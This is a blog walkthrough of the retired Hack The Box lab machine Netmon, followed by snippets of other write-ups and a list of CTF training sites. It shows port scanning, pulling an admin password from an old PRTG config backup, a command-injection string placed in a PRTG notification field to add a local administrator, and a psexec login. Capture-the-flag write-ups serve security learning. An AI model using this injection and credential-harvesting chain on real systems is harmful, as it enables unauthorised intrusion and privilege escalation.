Skip to main content

Hackthebox.eu - Retired - Netmon


Hackthebox.eu - Retired - Netmon


Recon

Starting as always is a simple up/down scan on all TCP ports

# nmap -T4 -p- -oX /root/Desktop/HTB/Netmon/nmapb.xml 10.10.10.152

Convert it to HTML

# xsltproc /root/Desktop/HTB/Netmon/nmapb.xml -o /root/Desktop/HTB/Netmon/nmapb.html



That's a bunch of ports open
Let's run -A against those ports for fingering the OS/Services

# nmap -T4 -A -p21,135,139,445,5985,47001,49664,49665,49666,19667,49668,49669 -oX /root/Desktop/HTB/Netmon/nmapf.xml 10.10.10.152

Then convert it to HTML

xsltproc /root/Desktop/HTB/Netmon/nmapf.xml -o /root/Desktop/HTB/Netmon/nmapf.html


Port 21 anonymous FTP, NetBIOS and something running on the 4000 port range… not sure yet


Let's take a look at that FTP running

Shocked Oh My God GIF by Unbreakable Kimmy Schmidt

Oh My God… They have the entire root directory open on FTP

I think we can move to exploit from here.







Exploit


So we just browse the FTP to users



There is the user hash..





dd5******************




So here I bounced around the ftp for a while



I found this under program files

PRTG network monitor…… is that running?

PRTG Network Monitor 18.1.37.13946 © 2018 Paessler AG 

What the hell nmap… you didn't see any web services running


Confused Parks And Recreation GIF


Let's try that again..



That's what I thought nmap. Just playing cool like you saw it the whole time

Animated GIF

Ok now that nmap can see the web server ( I would have found this using dirbuster or something else if nmap had seen it earlier)

Lets see if there are default creds for PRTG monitor



Nope

I did find this during my google searches… it looks like if we can get in we can add some code to a builtin PS1 script to make it do anything we want :) as system

I also found this about exposed passwords in config files

It looks like this leak was patched but maybe we can find some old backups from before this was patched.

Guess What Ellen Page GIF

I did

So Under
C:\Programdata\Paessler\PRTG Network Monitor

We see these three config files



I downloaded them all and grep'd for a password… no dice on the first two but we the old.bak - - Bingo


cat PRTG\ Configuration.old.bak  | grep -A1 admin
  <!-- User: prtgadmin -->
              PrTg@dmin2018


Let's try to login



Nope…. 

But this password is from an old config maybe they changed to a newer more secure password…. Or maybe they just changed the year at the end
      PrTg@dmin2019

Raising Arizona GIF

Us admins can be lazy too right?


Ok so now we got in we have the authenticated user we were looking for




Let's modify the notification to add a new user to this box that we can then use to get our flag



Under Setup-> notifications we can add a new notification. I named my EvilHackerMan





So the original PS1 called for a text.txt file so I just left that there add a semi colon and the commands I wanted to run

So here we are adding a new user to the box
net user evilhackerman 3vilH@ck3rM@n /add

Then add that user to the local administrators group
Net localgroup administrators evilhackerman /add

So in the end we ended up with this string to add

test.txt;net user evilhackerman 3vilH@ck3rM@n /add;net localgroup administrators evilhackerman /add

Then save the notification


Now we select our new "notification" and click the bell icon to run it
Now lets see if we can get in.

I'm going to use psexec.py from

python psexec.py evilhackerman:3vilH@ck3rM@n@10.10.10.152 cmd -path C:\\windows\\system32


.




Now we just need to get the flag





Barack Obama Mic Drop GIF

Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar...

Hack The Box - Retired - Laboratory

HackTheBox - Laboratory - Retired Starting off with a quick scan using threader6000 /opt/threader3000/threader6000.py 10.10.10.216 Ports 22,80,443 came back. Run nmap against these ports. nmap -p22,80,443 -sV -sC -T4 -Pn -oN 10.10.10.216 10.10.10.216 nmap -p22,80,443 -sV -sC -Pn -T4 -oN 10.10.10.216 10.10.10.216 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-13 17:43 EDT Nmap scan report for laboratory.htb (10.10.10.216) Host is up (0.060s latency). PORT    STATE SERVICE  VERSION 22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA) |   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA) |_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519) 80/tcp  open  http     Apache httpd 2.4.41 |_...

A collection of online Security CTF and Learning sites

 Hellbound Hackers    Embedded Security CTF Arizona Cyber Warfare Range Over The Wire - Bandit Pico CTF 2018 Hack The Box.eu Root Me: Challenges/Forensic RingZero CTF Vulnerable By Design - Vulnerable VMs Murder Mystery SQL Challenge Incident Response Challenge Authentication Lab Walkthroughs Defcon CTF Archives Matrix Holiday Hack Cyber Defenders | Blue Team and CTF Crypto Hack - learning Crypto Video Learning Zero to Hero Pentesting by The Cyber Mentor